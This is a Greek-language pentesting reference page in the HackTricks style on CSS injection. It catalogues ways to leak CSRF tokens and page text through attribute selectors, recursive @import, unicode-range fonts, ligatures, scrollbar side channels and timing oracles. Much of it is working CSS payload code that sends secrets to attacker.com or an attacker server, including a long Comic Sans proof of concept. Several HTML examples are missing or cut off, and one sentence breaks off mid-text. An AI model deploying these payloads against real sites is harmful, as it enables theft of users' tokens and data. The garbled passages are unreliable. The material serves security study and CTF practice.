# CSS Injection {{#include ../../../banners/hacktricks-training.md}} ## CSS Injection ### Επιλογέας Χαρακτηριστικού Οι επιλεγείς CSS είναι σχεδιασμένοι να ταιριάζουν με τις τιμές των χαρακτηριστικών `name` και `value` ενός στοιχείου `input`. Εάν η τιμή του χαρακτηριστικού του στοιχείου εισόδου αρχίζει με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν ασχολείται με κρυφά στοιχεία εισόδου (`type="hidden"`) επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντα. #### Παράκαμψη για Κρυφά Στοιχεία Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδελφών `~`. Ο κανόνας CSS στη συνέχεια εφαρμόζεται σε όλα τα αδέλφια που ακολουθούν το κρυφό στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Προαπαιτούμενα για CSS Injection Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις: 1. **Μήκος Payload**: Ο φορέας CSS injection πρέπει να υποστηρίζει επαρκώς μεγάλα payloads για να φιλοξενήσει τους κατασκευασμένους επιλεγείς. 2. **Επαναξιολόγηση CSS**: Πρέπει να έχετε τη δυνατότητα να πλαισιώσετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επαναξιολόγηση του CSS με τα νεοπαραγόμενα payloads. 3. **Εξωτερικοί Πόροι**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) της ιστοσελίδας. ### Blind Attribute Selector Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυαστούν οι επιλεγείς **`:has`** και **`:not`** για να εντοπιστεί περιεχόμενο ακόμη και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.\ Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθεί πληροφορία από αρκετά μπλοκ του ίδιου τύπου όπως σε: ```html ``` Συνδυάζοντας αυτό με την παρακάτω τεχνική **@import**, είναι δυνατόν να εξάγουμε πολλές **πληροφορίες χρησιμοποιώντας CSS injection από τυφλές σελίδες με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** ### @import Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Πρέπει είτε να μπορείτε να **στείλετε πολλαπλούς συνδέσμους στο θύμα**, είτε να μπορείτε να **iframe την ευάλωτη σελίδα CSS injection**. Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί **CSS `@import`** για να βελτιώσει την ποιότητα της τεχνικής. Αυτό παρουσιάστηκε πρώτα από [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) και λειτουργεί ως εξής: Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα **φορτώσουμε τη σελίδα μόνο μία φορά και μόνο με μια εισαγωγή στον διακομιστή του επιτιθέμενου** (αυτό είναι το payload που θα στείλουμε στο θύμα): ```css @import url("//attacker.com:5001/start?"); ``` 1. Η εισαγωγή θα **λάβει κάποιο CSS script** από τους επιτιθέμενους και ο **περιηγητής θα το φορτώσει**. 2. Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι **άλλη `@import` στον διακομιστή των επιτιθέμενων ξανά.** 1. Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει σε αυτή την αίτηση ακόμα, καθώς θέλουμε να διαρρεύσουν μερικοί χαρακτήρες και στη συνέχεια να απαντήσει αυτή την εισαγωγή με το payload για να διαρρεύσουν τους επόμενους. 3. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα **payload διαρροής επιλεγέα χαρακτηριστικών** 1. Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον **πρώτο χαρακτήρα του μυστικού και τον τελευταίο.** 4. Μόλις ο διακομιστής των επιτιθέμενων λάβει τον **πρώτο και τελευταίο χαρακτήρα του μυστικού**, θα **απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2**. 1. Η απάντηση θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο**. Ο επιτιθέμενος θα **ακολουθήσει αυτόν τον βρόχο μέχρι να καταφέρει να διαρρεύσει εντελώς το μυστικό**. Μπορείτε να βρείτε τον αρχικό [**κώδικα του Pepe Vila για να εκμεταλλευτείτε αυτό εδώ**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ή μπορείτε να βρείτε σχεδόν τον [**ίδιο κώδικα αλλά με σχόλια εδώ**.](#css-injection) > [!NOTE] > Το script θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλεγέας χαρακτηριστικών επιτρέπει να γίνονται πράγματα όπως: > > ```css > /* value^= για να ταιριάζει με την αρχή της τιμής */ > input[value^="0"] { > --s0: url(http://localhost:5001/leak?pre=0); > } > > /* value$= για να ταιριάζει με το τέλος της τιμής */ > input[value$="f"] { > --e0: url(http://localhost:5001/leak?post=f); > } > ``` > > Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα. > [!WARNING] > Μερικές φορές το script **δεν ανιχνεύει σωστά ότι ο προθέτης + επίθημα που ανακαλύφθηκε είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στον προθέτη) και προς τα πίσω (στον επίθημα) και σε κάποιο σημείο θα κολλήσει.\ > Μην ανησυχείτε, απλώς ελέγξτε την **έξοδο** γιατί **μπορείτε να δείτε τη σημαία εκεί**. ### Άλλοι επιλεγείς Άλλοι τρόποι πρόσβασης σε μέρη του DOM με **CSS selectors**: - **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο στοιχείο με την κλάση "class-to-search" στο DOM. - **`:empty`** selector: Χρησιμοποιείται για παράδειγμα σε [**αυτή τη γραφή**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### Error based XS-Search **Αναφορά:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) Η γενική πρόθεση είναι να **χρησιμοποιήσετε μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint** και να διασφαλίσετε ότι **το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο καθορισμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**. ```html A ``` 1. **Χρήση Προσαρμοσμένης Γραμματοσειράς**: - Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε ένα `

AB

htm ``` Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν "?A" και "?B" επειδή ο κόμβος κειμένου της ευαίσθητης πληροφορίας περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι έχουμε μπορέσει να διαβάσουμε "A" και "B". ### Εξαγωγή κόμβου κειμένου (I): λυγισμοί **Αναφορά:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τους λυγισμούς γραμματοσειρών και παρακολουθώντας τις αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα: 1. **Δημιουργία Προσαρμοσμένων Γραμματοσειρών**: - Οι γραμματοσειρές SVG κατασκευάζονται με γλυφές που έχουν ένα χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων. - Παράδειγμα γλυφής SVG: ``, όπου το "XY" δηλώνει μια ακολουθία δύο χαρακτήρων. - Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε μορφή woff χρησιμοποιώντας το fontforge. 2. **Ανίχνευση Αλλαγών Πλάτους**: - Χρησιμοποιείται CSS για να διασφαλιστεί ότι το κείμενο δεν τυλίγεται (`white-space: nowrap`) και για να προσαρμοστεί το στυλ της γραμμής κύλισης. - Η εμφάνιση μιας οριζόντιας γραμμής κύλισης, που έχει στυλ διαφορετικό, λειτουργεί ως δείκτης (oracle) ότι μια συγκεκριμένη λυγισμός, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο. - Το CSS που εμπλέκεται: ```css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Διαδικασία Εκμετάλλευσης**: - **Βήμα 1**: Δημιουργούνται γραμματοσειρές για ζεύγη χαρακτήρων με σημαντικό πλάτος. - **Βήμα 2**: Χρησιμοποιείται ένα κόλπο βασισμένο στη γραμμή κύλισης για να ανιχνευθεί πότε η μεγάλη γλυφή πλάτους (λυγισμός για ένα ζεύγος χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων. - **Βήμα 3**: Με την ανίχνευση ενός λυγισμού, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευθέν ζεύγος και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα. - **Βήμα 4**: Η ανίχνευση του λυγισμού τριών χαρακτήρων πραγματοποιείται. - **Βήμα 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο. 4. **Βελτιστοποίηση**: - Η τρέχουσα μέθοδος αρχικοποίησης που χρησιμοποιεί ` **Αναφορά:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) Αυτό το κόλπο κυκλοφόρησε σε αυτό το [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Το charset που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει **χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές** που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικές -ή προσαρμοσμένες- γραμματοσειρές. Η έννοια περιστρέφεται γύρω από τη χρήση μιας κινούμενης εικόνας για να επεκτείνει σταδιακά το πλάτος ενός `div`, επιτρέποντας σε έναν χαρακτήρα τη φορά να μεταβεί από το 'suffix' μέρος του κειμένου στο 'prefix' μέρος. Αυτή η διαδικασία χωρίζει αποτελεσματικά το κείμενο σε δύο τμήματα: 1. **Prefix**: Η αρχική γραμμή. 2. **Suffix**: Οι επόμενες γραμμές. Οι μεταβατικές φάσεις των χαρακτήρων θα εμφανίζονται ως εξής: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το **unicode-range trick** για να εντοπιστεί κάθε νέος χαρακτήρας καθώς προστίθεται στο prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σημαντικά ψηλότερη από τη προεπιλεγμένη γραμματοσειρά, προκαλώντας έτσι την εμφάνιση μιας κατακόρυφης γραμμής κύλισης. Η εμφάνιση αυτής της γραμμής κύλισης αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix. Αν και αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται, μόνο ότι έχει συμβεί μια επανάληψη. > [!NOTE] > Βασικά, το **unicode-range χρησιμοποιείται για να ανιχνεύσει έναν χαρακτήρα**, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε έναν άλλο τρόπο.\ > Όταν ο **χαρακτήρας** είναι **βρεθεί**, του **δίδεται** η προεγκατεστημένη **γραμματοσειρά Comic Sans**, η οποία **μεγαλώνει** τον χαρακτήρα και **προκαλεί μια γραμμή κύλισης** που θα **διαρρεύσει τον βρεθέντα χαρακτήρα**. Ελέγξτε τον κώδικα που εξήχθη από το PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } @font-face { font-family: has_B; src: local("Comic Sans MS"); unicode-range: U+42; font-style: monospace; } @font-face { font-family: has_C; src: local("Comic Sans MS"); unicode-range: U+43; font-style: monospace; } @font-face { font-family: has_D; src: local("Comic Sans MS"); unicode-range: U+44; font-style: monospace; } @font-face { font-family: has_E; src: local("Comic Sans MS"); unicode-range: U+45; font-style: monospace; } @font-face { font-family: has_F; src: local("Comic Sans MS"); unicode-range: U+46; font-style: monospace; } @font-face { font-family: has_G; src: local("Comic Sans MS"); unicode-range: U+47; font-style: monospace; } @font-face { font-family: has_H; src: local("Comic Sans MS"); unicode-range: U+48; font-style: monospace; } @font-face { font-family: has_I; src: local("Comic Sans MS"); unicode-range: U+49; font-style: monospace; } @font-face { font-family: has_J; src: local("Comic Sans MS"); unicode-range: U+4a; font-style: monospace; } @font-face { font-family: has_K; src: local("Comic Sans MS"); unicode-range: U+4b; font-style: monospace; } @font-face { font-family: has_L; src: local("Comic Sans MS"); unicode-range: U+4c; font-style: monospace; } @font-face { font-family: has_M; src: local("Comic Sans MS"); unicode-range: U+4d; font-style: monospace; } @font-face { font-family: has_N; src: local("Comic Sans MS"); unicode-range: U+4e; font-style: monospace; } @font-face { font-family: has_O; src: local("Comic Sans MS"); unicode-range: U+4f; font-style: monospace; } @font-face { font-family: has_P; src: local("Comic Sans MS"); unicode-range: U+50; font-style: monospace; } @font-face { font-family: has_Q; src: local("Comic Sans MS"); unicode-range: U+51; font-style: monospace; } @font-face { font-family: has_R; src: local("Comic Sans MS"); unicode-range: U+52; font-style: monospace; } @font-face { font-family: has_S; src: local("Comic Sans MS"); unicode-range: U+53; font-style: monospace; } @font-face { font-family: has_T; src: local("Comic Sans MS"); unicode-range: U+54; font-style: monospace; } @font-face { font-family: has_U; src: local("Comic Sans MS"); unicode-range: U+55; font-style: monospace; } @font-face { font-family: has_V; src: local("Comic Sans MS"); unicode-range: U+56; font-style: monospace; } @font-face { font-family: has_W; src: local("Comic Sans MS"); unicode-range: U+57; font-style: monospace; } @font-face { font-family: has_X; src: local("Comic Sans MS"); unicode-range: U+58; font-style: monospace; } @font-face { font-family: has_Y; src: local("Comic Sans MS"); unicode-range: U+59; font-style: monospace; } @font-face { font-family: has_Z; src: local("Comic Sans MS"); unicode-range: U+5a; font-style: monospace; } @font-face { font-family: has_0; src: local("Comic Sans MS"); unicode-range: U+30; font-style: monospace; } @font-face { font-family: has_1; src: local("Comic Sans MS"); unicode-range: U+31; font-style: monospace; } @font-face { font-family: has_2; src: local("Comic Sans MS"); unicode-range: U+32; font-style: monospace; } @font-face { font-family: has_3; src: local("Comic Sans MS"); unicode-range: U+33; font-style: monospace; } @font-face { font-family: has_4; src: local("Comic Sans MS"); unicode-range: U+34; font-style: monospace; } @font-face { font-family: has_5; src: local("Comic Sans MS"); unicode-range: U+35; font-style: monospace; } @font-face { font-family: has_6; src: local("Comic Sans MS"); unicode-range: U+36; font-style: monospace; } @font-face { font-family: has_7; src: local("Comic Sans MS"); unicode-range: U+37; font-style: monospace; } @font-face { font-family: has_8; src: local("Comic Sans MS"); unicode-range: U+38; font-style: monospace; } @font-face { font-family: has_9; src: local("Comic Sans MS"); unicode-range: U+39; font-style: monospace; } @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line { font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest; } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest; } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } 2% { width: 40px; } 3% { width: 60px; } 4% { width: 80px; } 4% { width: 100px; } 5% { width: 120px; } 6% { width: 140px; } 7% { width: 0px; } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) **Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτή την περίπτωση ο στόχος του να κάνουμε συγκεκριμένα **chars μεγαλύτερα από άλλα είναι να κρύψουμε κάτι** όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να ξέρουμε αν ένα συγκεκριμένο char είναι παρόν μέσα στο κείμενο. ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) **Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Σε αυτή την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να διαρρεύσουμε αν ένα char είναι στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` Αν υπάρχει αντιστοιχία, η **γραμματοσειρά θα φορτωθεί από το `/static/bootstrap.min.css?q=1`**. Αν και δεν θα φορτωθεί επιτυχώς, ο **περιηγητής θα πρέπει να την αποθηκεύσει στην κρυφή μνήμη**, και ακόμη και αν δεν υπάρχει κρυφή μνήμη, υπάρχει ένας μηχανισμός **304 not modified**, οπότε η **απάντηση θα πρέπει να είναι ταχύτερη** από άλλα πράγματα. Ωστόσο, αν η διαφορά χρόνου της αποθηκευμένης απάντησης από την μη αποθηκευμένη δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, που είναι πραγματικά προσεγμένο. ### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονισμό φόρτωσης εκατοντάδων τοπικών "γραμμάτων" (χωρίς να απαιτούν εξωτερικά στοιχεία) **Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή τη γραφή](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Σε αυτή την περίπτωση μπορείτε να υποδείξετε **CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβαίνει μια αντιστοιχία. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να ανακαλύψετε αν εμφανίζεται ή όχι ένα χαρακτήρας με κάτι σαν: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` Και ο κώδικας του bot φαίνεται έτσι: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στο bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταίριασμα γραμματοσειράς. ## References - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) {{#include ../../../banners/hacktricks-training.md}}